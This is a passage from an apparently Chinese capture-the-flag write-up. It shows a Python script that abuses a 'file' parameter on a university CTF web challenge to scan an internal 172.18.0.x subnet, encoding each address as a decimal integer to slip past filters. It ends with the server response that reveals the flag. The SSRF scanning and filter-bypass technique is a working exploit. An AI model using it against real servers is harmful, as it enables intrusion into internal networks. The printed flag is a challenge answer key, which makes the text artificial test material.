for i in range(1, 256): ip = '172.18.0.%d' % i int_ip = int(socket.inet_aton(ip).encode('hex'), 16) #print int_ip r = requests.get('http://web.ctf.xidian.edu.cn/web3/?file='+urllib.quote_plus('http://%d' % int_ip)) if'flag' in r.text: print ip, int_ip print r.text break
172.18.0.2有flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14
172.18.0.2 2886860802 <html> <head><title>403 Forbidden</title></head> <bodybgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.13.5</center> </body> </html> <!-- a padding to disable MSIE and Chrome friendly error page --> <!-- a padding to disable MSIE and Chrome friendly error page --> <!-- a padding to disable MSIE and Chrome friendly error page --> <!-- a padding to disable MSIE and Chrome friendly error page --> <!-- a padding to disable MSIE and Chrome friendly error page --> <!-- do u see me? ha flag{0e34c0321b2b3048d399b41a8ffda584} -->